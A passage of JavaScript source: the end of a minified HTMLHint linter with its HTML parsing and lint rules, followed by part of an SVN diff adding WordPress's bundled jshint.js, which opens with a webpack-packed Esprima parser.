n,r,i,s,o,l,u,d,c=this,f=c._mapCdataTags,g=/<(?:\/([^\s>]+)\s*|!--([\s\S]*?)--|!([^>]*?)|([\w\-:]+)((?:\s+[^\s"'>\/=\x00-\x0F\x7F\x80-\x9F]+(?:\s*=\s*(?:"[^"]*"|'[^']*'|[^\s"'>]*))?)*?)\s*(\/?))>/g,h=/\s*([^\s"'>\/=\x00-\x0F\x7F\x80-\x9F]+)(?:\s*=\s*(?:(")([^"]*)"|(')([^']*)'|([^\s"'>]*)))?/g,m=/\r?\n/g,p=0,v=0,b=0,w=1,L=c._arrBlocks;for(c.fire("start",{pos:0,line:1,col:1});n=g.exec(t);)if(r=n.index,r>p&&(d=t.substring(p,r),o?u.push(d):a("text",d,p)),p=g.lastIndex,!(i=n[1])||(o&&i===o&&(d=u.join(""),a("cdata",d,v,{tagName:o,attrs:l}),o=null,l=null,u=null),o))if(o)u.push(n[0]);else if(i=n[4]){s=[];for(var y,T=n[5],H=0;y=h.exec(T);){var x=y[1],M=y[2]?y[2]:y[4]?y[4]:"",N=y[3]?y[3]:y[5]?y[5]:y[6]?y[6]:"";s.push({name:x,value:N,quote:M,index:y.index,raw:y[0]}),H+=y[0].length}H===T.length?(a("tagstart",n[0],r,{tagName:i,attrs:s,close:n[6]}),f[i]&&(o=i,l=s.concat(),u=[],v=p)):a("text",n[0],r)}else(n[2]||n[3])&&a("comment",n[0],r,{content:n[2]||n[3],"long":n[2]?!0:!1});else a("tagend",n[0],r,{tagName:i});t.length>p&&(d=t.substring(p,t.length),a("text",d,p)),c.fire("end",{pos:p,line:w,col:t.length-b+1})},addListener:function(t,a){for(var n,r=this._listeners,i=t.split(/[,\s]/),s=0,o=i.length;o>s;s++)n=i[s],r[n]===e&&(r[n]=[]),r[n].push(a)},fire:function(t,a){a===e&&(a={}),a.type=t;var n=this,r=[],i=n._listeners[t],s=n._listeners.all;i!==e&&(r=r.concat(i)),s!==e&&(r=r.concat(s));var o=n.lastEvent;null!==o&&(delete o.lastEvent,a.lastEvent=o),n.lastEvent=a;for(var l=0,u=r.length;u>l;l++)r[l].call(n,a)},removeListener:function(t,a){var n=this._listeners[t];if(n!==e)for(var r=0,i=n.length;i>r;r++)if(n[r]===a){n.splice(r,1);break}},fixPos:function(e,t){var a,n=e.raw.substr(0,t),r=n.split(/\r?\n/),i=r.length-1,s=e.line;return i>0?(s+=i,a=r[i].length+1):a=e.col+t,{line:s,col:a}},getMapAttrs:function(e){for(var t,a={},n=0,r=e.length;r>n;n++)t=e[n],a[t.name]=t.value;return a}},t}();"object"==typeof exports&&exports&&(exports.HTMLParser=HTMLParser),HTMLHint.addRule({id:"alt-require",description:"The alt attribute of an <img> element must be present and alt attribute of area[href] and input[type=image] must have a value.",init:function(e,t){var a=this;e.addListener("tagstart",function(n){var r,i=n.tagName.toLowerCase(),s=e.getMapAttrs(n.attrs),o=n.col+i.length+1;"img"!==i||"alt"in s?("area"===i&&"href"in s||"input"===i&&"image"===s.type)&&("alt"in s&&""!==s.alt||(r="area"===i?"area[href]":"input[type=image]",t.warn("The alt attribute of "+r+" must have a value.",n.line,o,a,n.raw))):t.warn("An alt attribute must be present on <img> elements.",n.line,o,a,n.raw)})}}),HTMLHint.addRule({id:"attr-lowercase",description:"All attribute names must be in lowercase.",init:function(e,t,a){var n=this,r=Array.isArray(a)?a:[];e.addListener("tagstart",function(e){for(var a,i=e.attrs,s=e.col+e.tagName.length+1,o=0,l=i.length;l>o;o++){a=i[o];var u=a.name;-1===r.indexOf(u)&&u!==u.toLowerCase()&&t.error("The attribute name of [ "+u+" ] must be in lowercase.",e.line,s+a.index,n,a.raw)}})}}),HTMLHint.addRule({id:"attr-no-duplication",description:"Elements cannot have duplicate attributes.",init:function(e,t){var a=this;e.addListener("tagstart",function(e){for(var n,r,i=e.attrs,s=e.col+e.tagName.length+1,o={},l=0,u=i.length;u>l;l++)n=i[l],r=n.name,o[r]===!0&&t.error("Duplicate of attribute name [ "+n.name+" ] was found.",e.line,s+n.index,a,n.raw),o[r]=!0})}}),HTMLHint.addRule({id:"attr-unsafe-chars",description:"Attribute values cannot contain unsafe chars.",init:function(e,t){var a=this;e.addListener("tagstart",function(e){for(var n,r,i=e.attrs,s=e.col+e.tagName.length+1,o=/[\u0000-\u0008\u000b\u000c\u000e-\u001f\u007f-\u009f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/,l=0,u=i.length;u>l;l++)if(n=i[l],r=n.value.match(o),null!==r){var d=escape(r[0]).replace(/%u/,"\\u").replace(/%/,"\\x");t.warn("The value of attribute [ "+n.name+" ] cannot contain an unsafe char [ "+d+" ].",e.line,s+n.index,a,n.raw)}})}}),HTMLHint.addRule({id:"attr-value-double-quotes",description:"Attribute values must be in double quotes.",init:function(e,t){var a=this;e.addListener("tagstart",function(e){for(var n,r=e.attrs,i=e.col+e.tagName.length+1,s=0,o=r.length;o>s;s++)n=r[s],(""!==n.value&&'"'!==n.quote||""===n.value&&"'"===n.quote)&&t.error("The value of attribute [ "+n.name+" ] must be in double quotes.",e.line,i+n.index,a,n.raw)})}}),HTMLHint.addRule({id:"attr-value-not-empty",description:"All attributes must have values.",init:function(e,t){var a=this;e.addListener("tagstart",function(e){for(var n,r=e.attrs,i=e.col+e.tagName.length+1,s=0,o=r.length;o>s;s++)n=r[s],""===n.quote&&""===n.value&&t.warn("The attribute [ "+n.name+" ] must have a value.",e.line,i+n.index,a,n.raw)})}}),HTMLHint.addRule({id:"csslint",description:"Scan css with csslint.",init:function(e,t,a){var n=this;e.addListener("cdata",function(e){if("style"===e.tagName.toLowerCase()){var r;if(r="object"==typeof exports&&require?require("csslint").CSSLint.verify:CSSLint.verify,void 0!==a){var i=e.line-1,s=e.col-1;try{var o=r(e.raw,a).messages;o.forEach(function(e){var a=e.line;t["warning"===e.type?"warn":"error"]("["+e.rule.id+"] "+e.message,i+a,(1===a?s:0)+e.col,n,e.evidence)})}catch(l){}}}})}}),HTMLHint.addRule({id:"doctype-first",description:"Doctype must be declared first.",init:function(e,t){var a=this,n=function(r){"start"===r.type||"text"===r.type&&/^\s*$/.test(r.raw)||(("comment"!==r.type&&r.long===!1||/^DOCTYPE\s+/i.test(r.content)===!1)&&t.error("Doctype must be declared first.",r.line,r.col,a,r.raw),e.removeListener("all",n))};e.addListener("all",n)}}),HTMLHint.addRule({id:"doctype-html5",description:'Invalid doctype. Use: "<!DOCTYPE html>"',init:function(e,t){function a(e){e.long===!1&&"doctype html"!==e.content.toLowerCase()&&t.warn('Invalid doctype. Use: "<!DOCTYPE html>"',e.line,e.col,r,e.raw)}function n(){e.removeListener("comment",a),e.removeListener("tagstart",n)}var r=this;e.addListener("all",a),e.addListener("tagstart",n)}}),HTMLHint.addRule({id:"head-script-disabled",description:"The <script> tag cannot be used in a <head> tag.",init:function(e,t){function a(a){var n=e.getMapAttrs(a.attrs),o=n.type,l=a.tagName.toLowerCase();"head"===l&&(s=!0),s!==!0||"script"!==l||o&&i.test(o)!==!0||t.warn("The <script> tag cannot be used in a <head> tag.",a.line,a.col,r,a.raw)}function n(t){"head"===t.tagName.toLowerCase()&&(e.removeListener("tagstart",a),e.removeListener("tagend",n))}var r=this,i=/^(text\/javascript|application\/javascript)$/i,s=!1;e.addListener("tagstart",a),e.addListener("tagend",n)}}),HTMLHint.addRule({id:"href-abs-or-rel",description:"An href attribute must be either absolute or relative.",init:function(e,t,a){var n=this,r="abs"===a?"absolute":"relative";e.addListener("tagstart",function(e){for(var a,i=e.attrs,s=e.col+e.tagName.length+1,o=0,l=i.length;l>o;o++)if(a=i[o],"href"===a.name){("absolute"===r&&/^\w+?:/.test(a.value)===!1||"relative"===r&&/^https?:\/\//.test(a.value)===!0)&&t.warn("The value of the href attribute [ "+a.value+" ] must be "+r+".",e.line,s+a.index,n,a.raw);break}})}}),HTMLHint.addRule({id:"id-class-ad-disabled",description:"The id and class attributes cannot use the ad keyword, it will be blocked by adblock software.",init:function(e,t){var a=this;e.addListener("tagstart",function(e){for(var n,r,i=e.attrs,s=e.col+e.tagName.length+1,o=0,l=i.length;l>o;o++)n=i[o],r=n.name,/^(id|class)$/i.test(r)&&/(^|[-\_])ad([-\_]|$)/i.test(n.value)&&t.warn("The value of attribute "+r+" cannot use the ad keyword.",e.line,s+n.index,a,n.raw)})}}),HTMLHint.addRule({id:"id-class-value",description:"The id and class attribute values must meet the specified rules.",init:function(e,t,a){var n,r=this,i={underline:{regId:/^[a-z\d]+(_[a-z\d]+)*$/,message:"The id and class attribute values must be in lowercase and split by an underscore."},dash:{regId:/^[a-z\d]+(-[a-z\d]+)*$/,message:"The id and class attribute values must be in lowercase and split by a dash."},hump:{regId:/^[a-z][a-zA-Z\d]*([A-Z][a-zA-Z\d]*)*$/,message:"The id and class attribute values must meet the camelCase style."}};if(n="string"==typeof a?i[a]:a,n&&n.regId){var s=n.regId,o=n.message;e.addListener("tagstart",function(e){for(var a,n=e.attrs,i=e.col+e.tagName.length+1,l=0,u=n.length;u>l;l++)if(a=n[l],"id"===a.name.toLowerCase()&&s.test(a.value)===!1&&t.warn(o,e.line,i+a.index,r,a.raw),"class"===a.name.toLowerCase())for(var d,c=a.value.split(/\s+/g),f=0,g=c.length;g>f;f++)d=c[f],d&&s.test(d)===!1&&t.warn(o,e.line,i+a.index,r,d)})}}}),HTMLHint.addRule({id:"id-unique",description:"The value of id attributes must be unique.",init:function(e,t){var a=this,n={};e.addListener("tagstart",function(e){for(var r,i,s=e.attrs,o=e.col+e.tagName.length+1,l=0,u=s.length;u>l;l++)if(r=s[l],"id"===r.name.toLowerCase()){i=r.value,i&&(void 0===n[i]?n[i]=1:n[i]++,n[i]>1&&t.error("The id value [ "+i+" ] must be unique.",e.line,o+r.index,a,r.raw));break}})}}),HTMLHint.addRule({id:"inline-script-disabled",description:"Inline script cannot be used.",init:function(e,t){var a=this;e.addListener("tagstart",function(e){for(var n,r,i=e.attrs,s=e.col+e.tagName.length+1,o=/^on(unload|message|submit|select|scroll|resize|mouseover|mouseout|mousemove|mouseleave|mouseenter|mousedown|load|keyup|keypress|keydown|focus|dblclick|click|change|blur|error)$/i,l=0,u=i.length;u>l;l++)n=i[l],r=n.name.toLowerCase(),o.test(r)===!0?t.warn("Inline script [ "+n.raw+" ] cannot be used.",e.line,s+n.index,a,n.raw):("src"===r||"href"===r)&&/^\s*javascript:/i.test(n.value)&&t.warn("Inline script [ "+n.raw+" ] cannot be used.",e.line,s+n.index,a,n.raw)})}}),HTMLHint.addRule({id:"inline-style-disabled",description:"Inline style cannot be used.",init:function(e,t){var a=this;e.addListener("tagstart",function(e){for(var n,r=e.attrs,i=e.col+e.tagName.length+1,s=0,o=r.length;o>s;s++)n=r[s],"style"===n.name.toLowerCase()&&t.warn("Inline style [ "+n.raw+" ] cannot be used.",e.line,i+n.index,a,n.raw)})}}),HTMLHint.addRule({id:"jshint",description:"Scan script with jshint.",init:function(e,t,a){var n=this;e.addListener("cdata",function(r){if("script"===r.tagName.toLowerCase()){var i=e.getMapAttrs(r.attrs),s=i.type;if(void 0!==i.src||s&&/^(text\/javascript)$/i.test(s)===!1)return;var o;if(o="object"==typeof exports&&require?require("jshint").JSHINT:JSHINT,void 0!==a){var l=r.line-1,u=r.col-1,d=r.raw.replace(/\t/g," ");try{var c=o(d,a,a.globals);c===!1&&o.errors.forEach(function(e){var a=e.line;t.warn(e.reason,l+a,(1===a?u:0)+e.character,n,e.evidence)})}catch(f){}}}})}}),HTMLHint.addRule({id:"space-tab-mixed-disabled",description:"Do not mix tabs and spaces for indentation.",init:function(e,t,a){var n=this,r="nomix",i=null;if("string"==typeof a){var s=a.match(/^([a-z]+)(\d+)?/);r=s[1],i=s[2]&&parseInt(s[2],10)}e.addListener("text",function(a){for(var s,o=a.raw,l=/(^|\r?\n)([ \t]+)/g;s=l.exec(o);){var u=e.fixPos(a,s.index+s[1].length);if(1===u.col){var d=s[2];"space"===r?i?(/^ +$/.test(d)===!1||0!==d.length%i)&&t.warn("Please use space for indentation and keep "+i+" length.",u.line,1,n,a.raw):/^ +$/.test(d)===!1&&t.warn("Please use space for indentation.",u.line,1,n,a.raw):"tab"===r&&/^\t+$/.test(d)===!1?t.warn("Please use tab for indentation.",u.line,1,n,a.raw):/ +\t|\t+ /.test(d)===!0&&t.warn("Do not mix tabs and spaces for indentation.",u.line,1,n,a.raw)}}})}}),HTMLHint.addRule({id:"spec-char-escape",description:"Special characters must be escaped.",init:function(e,t){var a=this;e.addListener("text",function(n){for(var r,i=n.raw,s=/[<>]/g;r=s.exec(i);){var o=e.fixPos(n,r.index);t.error("Special characters must be escaped : [ "+r[0]+" ].",o.line,o.col,a,n.raw)}})}}),HTMLHint.addRule({id:"src-not-empty",description:"The src attribute of an img(script,link) must have a value.",init:function(e,t){var a=this;e.addListener("tagstart",function(e){for(var n,r=e.tagName,i=e.attrs,s=e.col+r.length+1,o=0,l=i.length;l>o;o++)n=i[o],(/^(img|script|embed|bgsound|iframe)$/.test(r)===!0&&"src"===n.name||"link"===r&&"href"===n.name||"object"===r&&"data"===n.name)&&""===n.value&&t.error("The attribute [ "+n.name+" ] of the tag [ "+r+" ] must have a value.",e.line,s+n.index,a,n.raw)})}}),HTMLHint.addRule({id:"style-disabled",description:"<style> tags cannot be used.",init:function(e,t){var a=this;e.addListener("tagstart",function(e){"style"===e.tagName.toLowerCase()&&t.warn("The <style> tag cannot be used.",e.line,e.col,a,e.raw)})}}),HTMLHint.addRule({id:"tag-pair",description:"Tag must be paired.",init:function(e,t){var a=this,n=[],r=e.makeMap("area,base,basefont,br,col,frame,hr,img,input,isindex,link,meta,param,embed,track,command,source,keygen,wbr");e.addListener("tagstart",function(e){var t=e.tagName.toLowerCase();void 0!==r[t]||e.close||n.push({tagName:t,line:e.line,raw:e.raw})}),e.addListener("tagend",function(e){for(var r=e.tagName.toLowerCase(),i=n.length-1;i>=0&&n[i].tagName!==r;i--);if(i>=0){for(var s=[],o=n.length-1;o>i;o--)s.push("</"+n[o].tagName+">");if(s.length>0){var l=n[n.length-1];t.error("Tag must be paired, missing: [ "+s.join("")+" ], start tag match failed [ "+l.raw+" ] on line "+l.line+".",e.line,e.col,a,e.raw)}n.length=i}else t.error("Tag must be paired, no start tag: [ "+e.raw+" ]",e.line,e.col,a,e.raw)}),e.addListener("end",function(e){for(var r=[],i=n.length-1;i>=0;i--)r.push("</"+n[i].tagName+">");if(r.length>0){var s=n[n.length-1];t.error("Tag must be paired, missing: [ "+r.join("")+" ], open tag match failed [ "+s.raw+" ] on line "+s.line+".",e.line,e.col,a,"")}})}}),HTMLHint.addRule({id:"tag-self-close",description:"Empty tags must be self closed.",init:function(e,t){var a=this,n=e.makeMap("area,base,basefont,br,col,frame,hr,img,input,isindex,link,meta,param,embed,track,command,source,keygen,wbr");e.addListener("tagstart",function(e){var r=e.tagName.toLowerCase();void 0!==n[r]&&(e.close||t.warn("The empty tag : [ "+r+" ] must be self closed.",e.line,e.col,a,e.raw))})}}),HTMLHint.addRule({id:"tagname-lowercase",description:"All html element names must be in lowercase.",init:function(e,t){var a=this;e.addListener("tagstart,tagend",function(e){var n=e.tagName;n!==n.toLowerCase()&&t.error("The html element name of [ "+n+" ] must be in lowercase.",e.line,e.col,a,e.raw)})}}),HTMLHint.addRule({id:"title-require",description:"<title> must be present in <head> tag.",init:function(e,t){function a(e){var t=e.tagName.toLowerCase();"head"===t?i=!0:"title"===t&&i&&(s=!0)}function n(i){var o=i.tagName.toLowerCase();if(s&&"title"===o){var l=i.lastEvent;("text"!==l.type||"text"===l.type&&/^\s*$/.test(l.raw)===!0)&&t.error("<title></title> must not be empty.",i.line,i.col,r,i.raw)}else"head"===o&&(s===!1&&t.error("<title> must be present in <head> tag.",i.line,i.col,r,i.raw),e.removeListener("tagstart",a),e.removeListener("tagend",n))}var r=this,i=!1,s=!1;e.addListener("tagstart",a),e.addListener("tagend",n)}});
Index: /tags/5.0.20/src/wp-includes/js/codemirror/jshint.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/codemirror/jshint.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/codemirror/jshint.js	(revision 56912)
@@ -0,0 +1,6744 @@
+(function webpackUniversalModuleDefinition(root, factory) {
+/* istanbul ignore next */
+	if(typeof exports === 'object' && typeof module === 'object')
+		module.exports = factory();
+	else if(typeof define === 'function' && define.amd)
+		define([], factory);
+/* istanbul ignore next */
+	else if(typeof exports === 'object')
+		exports["esprima"] = factory();
+	else
+		root["esprima"] = factory();
+})(this, function() {
+return /******/ (function(modules) { // webpackBootstrap
+/******/ 	// The module cache
+/******/ 	var installedModules = {};
+
+/******/ 	// The require function
+/******/ 	function __webpack_require__(moduleId) {
+
+/******/ 		// Check if module is in cache
+/* istanbul ignore if */
+/******/ 		if(installedModules[moduleId])
+/******/ 			return installedModules[moduleId].exports;
+
+/******/ 		// Create a new module (and put it into the cache)
+/******/ 		var module = installedModules[moduleId] = {
+/******/ 			exports: {},
+/******/ 			id: moduleId,
+/******/ 			loaded: false
+/******/ 		};
+
+/******/ 		// Execute the module function
+/******/ 		modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
+
+/******/ 		// Flag the module as loaded
+/******/ 		module.loaded = true;
+
+/******/ 		// Return the exports of the module
+/******/ 		return module.exports;
+/******/ 	}
+
+
+/******/ 	// expose the modules object (__webpack_modules__)
+/******/ 	__webpack_require__.m = modules;
+
+/******/ 	// expose the module cache
+/******/ 	__webpack_require__.c = installedModules;
+
+/******/ 	// __webpack_public_path__
+/******/ 	__webpack_require__.p = "";
+
+/******/ 	// Load entry module and return exports
+/******/ 	return __webpack_require__(0);
+/******/ })
+/************************************************************************/
+/******/ ([
+/* 0 */
+/***/ function(module, exports, __webpack_require__) {
+
+	"use strict";
+	/*
+	  Copyright JS Foundation and other contributors, https://js.foundation/
+
+	  Redistribution and use in source and binary forms, with or without
+	  modification, are permitted provided that the following conditions are met:
+
+	    * Redistributions of source code must retain the above copyright
+	      notice, this list of conditions and the following disclaimer.
+	    * Redistributions in binary form must reproduce the above copyright
+	      notice, this list of conditions and the following disclaimer in the
+	      documentation and/or other materials provided with the distribution.
+
+	  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+	  AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+	  IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+	  ARE DISCLAIMED. IN NO EVENT SHALL <COPYRIGHT HOLDER> BE LIABLE FOR ANY
+	  DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+	  (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+	  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+	  ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+	  (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+	  THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+	*/
+	Object.defineProperty(exports, "__esModule", { value: true });
+	var comment_handler_1 = __webpack_require__(1);
+	var jsx_parser_1 = __webpack_require__(3);
+	var parser_1 = __webpack_require__(8);
+	var tokenizer_1 = __webpack_require__(15);
+	function parse(code, options, delegate) {
+	    var commentHandler = null;
+	    var proxyDelegate = function (node, metadata) {
+	        if (delegate) {
+	            delegate(node, metadata);
+	        }
+	        if (commentHandler) {
+	            commentHandler.visit(node, metadata);
+	        }
+	    };
+	    var parserDelegate = (typeof delegate === 'function') ? proxyDelegate : null;
+	    var collectComment = false;
+	    if (options) {
+	        collectComment = (typeof options.comment === 'boolean' && options.comment);
+	        var attachComment = (typeof options.attachComment === 'boolean' && options.attachComment);
+	        if (collectComment || attachComment) {
+	            commentHandler = new comment_handler_1.CommentHandler();
+	            commentHandler.attach = attachComment;
+	            options.comment = true;
+	            parserDelegate = proxyDelegate;
+	        }
+	    }
+	    var isModule = false;
+	    if (options && typeof options.sourceType === 'string') {
+	        isModule = (options.sourceType === 'module');
+	    }
+	    var parser;
+	    if (options && typeof options.jsx === 'boolean' && options.jsx) {
+	        parser = new jsx_parser_1.JSXParser(code, options, parserDelegate);
+	    }
+	    else {
+	        parser = new parser_1.Parser(code, options, parserDelegate);
+	    }
+	    var program = isModule ? parser.parseModule() : parser.parseScript();
+	    var ast = program;
+	    if (collectComment && commentHandler) {
+	        ast.comments = commentHandler.comments;
+	    }
+	    if (parser.config.tokens) {
+	        ast.tokens = parser.tokens;
+	    }
+	    if (parser.config.tolerant) {
+	        ast.errors = parser.errorHandler.errors;
+	    }
+	    return ast;
+	}
+	exports.parse = parse;
+	function parseModule(code, options, delegate) {
+	    var parsingOptions = options || {};
+	    parsingOptions.sourceType = 'module';
+	    return parse(code, parsingOptions, delegate);
+	}
+	exports.parseModule = parseModule;
+	function parseScript(code, options, delegate) {
+	    var parsingOptions = options || {};
+	    parsingOptions.sourceType = 'script';
+	    return parse(code, parsingOptions, delegate);
+	}
+	exports.parseScript = parseScript;
+	function tokenize(code, options, delegate) {
+	    var tokenizer = new tokenizer_1.Tokenizer(code, options);
+	    var tokens;
+	    tokens = [];
+	    try {
+	        while (true) {
+	            var token = tokenizer.getNextToken();
+	            if (!token) {
+	                break;
+	            }
+	            if (delegate) {
+	                token = delegate(token);
+	            }
+	            tokens.push(token);
+	        }
+	    }
+	    catch (e) {
+	        tokenizer.errorHandler.tolerate(e);
+	    }
+	    if (tokenizer.errorHandler.tolerant) {
+	        tokens.errors = tokenizer.errors();
+	    }
+	    return tokens;
+	}
+	exports.tokenize = tokenize;
+	var syntax_1 = __webpack_require__(2);
+	exports.Syntax = syntax_1.Syntax;
+	// Sync with *.json manifests.
+	exports.version = '4.0.0';
+
+
+/***/ },
+/* 1 */
+/***/ function(module, exports, __webpack_require__) {
+
+	"use strict";
+	Object.defineProperty(exports, "__esModule", { value: true });
+	var syntax_1 = __webpack_require__(2);
+	var CommentHandler = (function () {
+	    function CommentHandler() {
+	        this.attach = false;
+	        this.comments = [];
+	        this.stack = [];
+	        this.leading = [];
+	        this.trailing = [];
+	    }
+	    CommentHandler.prototype.insertInnerComments = function (node, metadata) {
+	        //  innnerComments for properties empty block
+	        //  `function a() {/** comments **\/}`
+	        if (node.type === syntax_1.Syntax.BlockStatement && node.body.length === 0) {
+	            var innerComments = [];
+	            for (var i = this.leading.length - 1; i >= 0; --i) {
+	                var entry = this.leading[i];
+	                if (metadata.end.offset >= entry.start) {
+	                    innerComments.unshift(entry.comment);
+	                    this.leading.splice(i, 1);
+	                    this.trailing.splice(i, 1);
+	                }
+	            }
+	            if (innerComments.length) {
+	                node.innerComments = innerComments;
+	            }
+	        }
+	    };
+	    CommentHandler.prototype.findTrailingComments = function (metadata) {
+	        var trailingComments = [];
+	        if (this.trailing.length > 0) {
+	            for (var i = this.trailing.length - 1; i >= 0; --i) {
+	                var entry_1 = this.trailing[i];
+	                if (entry_1.start >= metadata.end.offset) {
+	                    trailingComments.unshift(entry_1.comment);
+	                }
+	            }
+	            this.trailing.length = 0;
+	            return trailingComments;
+	        }
+	        var entry = this.stack[this.stack.length - 1];
+	        if (entry && entry.node.trailingComments) {
+	            var firstComment = entry.node.trailingComments[0];
+	            if (firstComment && firstComment.range[0] >= metadata.end.offset) {
+	                trailingComments = entry.node.trailingComments;
+	                delete entry.node.trailingComments;
+	            }
+	        }
+	        return trailingComments;
+	    };
+	    CommentHandler.prototype.findLeadingComments = function (metadata) {
+	        var leadingComments = [];
+	        var target;
+	        while (this.stack.length > 0) {
+	            var entry = this.stack[this.stack.length - 1];
+	            if (entry && entry.start >= metadata.start.offset) {
+	                target = entry.node;
+	                this.stack.pop();
+	            }
+	            else {
+	                break;
+	            }
+	        }
+	        if (target) {
+	            var count = target.leadingComments ? target.leadingComments.length : 0;
+	            for (var i = count - 1; i >= 0; --i) {
+	                var comment = target.leadingComments[i];
+	                if (comment.range[1] <= metadata.start.offset) {
+	                    leadingComments.unshift(comment);
+	                    target.leadingComments.splice(i, 1);
+	                }
+	            }
+	            if (target.leadingComments && target.leadingComments.length === 0) {
+	                delete target.leadingComments;
+	            }
+	            return leadingComments;
+	        }
+	        for (var i = this.leading.length - 1; i >= 0; --i) {
+	            var entry = this.leading[i];
+	            if (entry.start <= metadata.start.offset) {
+	                leadingComments.unshift(entry.comment);
+	                this.leading.splice(i, 1);
+	            }
+	        }
+	        return leadingComments;
+	    };
+	    CommentHandler.prototype.visitNode = function (node, metadata) {
+	        if (node.type === syntax_1.Syntax.Program && node.body.length > 0) {
+	            return;
+	        }
+	        this.insertInnerComments(node, metadata);
+	        var trailingComments = this.findTrailingComments(metadata);
+	        var leadingComments = this.findLeadingComments(metadata);
+	        if (leadingComments.length > 0) {
+	            node.leadingComments = leadingComments;
+	        }
+	        if (trailingComments.length > 0) {
+	            node.trailingComments = trailingComments;
+	        }
+	        this.stack.push({
+	            node: node,
+	            start: metadata.start.offset
+	        });
+	    };
+	    CommentHandler.prototype.visitComment = function (node, metadata) {
+	        var type = (node.type[0] === 'L') ? 'Line' : 'Block';
+	        var comment = {
+	            type: type,
+	            value: node.value
+	        };
+	        if (node.range) {
+	            comment.range = node.range;
+	        }
+	        if (node.loc) {
+	            comment.loc = node.loc;
+	        }
+	        this.comments.push(comment);
+	        if (this.attach) {
+	            var entry = {
+	                comment: {
+	                    type: type,
+	                    value: node.value,
+	                    range: [metadata.start.offset, metadata.end.offset]
+	                },
+	                start: metadata.start.offset
+	            };
+	            if (node.loc) {
+	                entry.comment.loc = node.loc;
+	            }
+	            node.type = type;
+	            this.leading.push(entry);
+	            this.trailing.push(entry);
+	        }
+	    };
+	    CommentHandler.prototype.visit = function (node, metadata) {
+	        if (node.type === 'LineComment') {
+	            this.visitComment(node, metadata);
+	        }
+	        else if (node.type === 'BlockComment') {
+	            this.visitComment(node, metadata);
+	        }
+	        else if (this.attach) {
+	            this.visitNode(node, metadata);
+	        }
+	    };
+	    return CommentHandler;
+	}());
+	exports.CommentHandler = CommentHandler;
+
+
+/***/ },
+/* 2 */
+/***/ function(module, exports) {
+
+	"use strict";
+	Object.defineProperty(exports, "__esModule", { value: true });
+	exports.Syntax = {
+	    AssignmentExpression: 'AssignmentExpression',
+	    AssignmentPattern: 'AssignmentPattern',
+	    ArrayExpression: 'ArrayExpression',
+	    ArrayPattern: 'ArrayPattern',
+	    ArrowFunctionExpression: 'ArrowFunctionExpression',
+	    AwaitExpression: 'AwaitExpression',
+	    BlockStatement: 'BlockStatement',
+	    BinaryExpression: 'BinaryExpression',
+	    BreakStatement: 'BreakStatement',
+	    CallExpression: 'CallExpression',
+	    CatchClause: 'CatchClause',
+	    ClassBody: 'ClassBody',
+	    ClassDeclaration: 'ClassDeclaration',
+	    ClassExpression: 'ClassExpression',
+	    ConditionalExpression: 'ConditionalExpression',
+	    ContinueStatement: 'ContinueStatement',
+	    DoWhileStatement: 'DoWhileStatement',
+	    DebuggerStatement: 'DebuggerStatement',
+	    EmptyStatement: 'EmptyStatement',
+	    ExportAllDeclaration: 'ExportAllDeclaration',
+	    ExportDefaultDeclaration: 'ExportDefaultDeclaration',
+	    ExportNamedDeclaration: 'ExportNamedDeclaration',
+	    ExportSpecifier: 'ExportSpecifier',
+	    ExpressionStatement: 'ExpressionStatement',
+	    ForStatement: 'ForStatement',
+	    ForOfStatement: 'ForOfStatement',
+	    ForInStatement: 'ForInStatement',
+	    FunctionDeclaration: 'FunctionDeclaration',
+	    FunctionExpression: 'FunctionExpression',
+	    Identifier: 'Identifier',
+	    IfStatement: 'IfStatement',
+	    ImportDeclaration: 'ImportDeclaration',
+	    ImportDefaultSpecifier: 'ImportDefaultSpecifier',
+	    ImportNamespaceSpecifier: 'ImportNamespaceSpecifier',
+	    ImportSpecifier: 'ImportSpecifier',
+	    Literal: 'Literal',
+	    LabeledStatement: 'LabeledStatement',
+	    LogicalExpression: 'LogicalExpression',
+	    MemberExpression: 'MemberExpression',
+	    MetaProperty: 'MetaProperty',
+	    MethodDefinition: 'MethodDefinition',
+	    NewExpression: 'NewExpression',
+	    ObjectExpression: 'ObjectExpression',
+	    ObjectPattern: 'ObjectPattern',
+	    Program: 'Program',
+	    Property: 'Property',
+	    RestElement: 'RestElement',
+	    ReturnStatement: 'ReturnStatement',
+	    SequenceExpression: 'SequenceExpression',
+	    SpreadElement: 'SpreadElement',
+	    Super: 'Super',
+	    SwitchCase: 'SwitchCase',
+	    SwitchStatement: 'SwitchStatement',
+	    TaggedTemplateExpression: 'TaggedTemplateExpression',
+	    TemplateElement: 'TemplateElement',
+	    TemplateLiteral: 'TemplateLiteral',
+	    ThisExpression: 'ThisExpression',
+	    ThrowStatement: 'ThrowStatement',
+	    TryStatement: 'TryStatement',
+	    UnaryExpression: 'UnaryExpression',
+	    UpdateExpression: 'UpdateExpression',
+	    VariableDeclaration: 'VariableDeclaration',
+	    VariableDeclarator: 'VariableDeclarator',
+	    WhileStatement: 'WhileStatement',
+	    WithStatement: 'WithStatement',
+	    YieldExpression: 'YieldExpression'
+	};
+
+
+/***/ },
+/* 3 */
+/***/ function(module, exports, __webpack_require__) {
+
+	"use strict";
+/* istanbul ignore next */
+	var __extends = (this && this.__extends) || (function () {
+	    var extendStatics = Object.setPrototypeOf ||
+	        ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
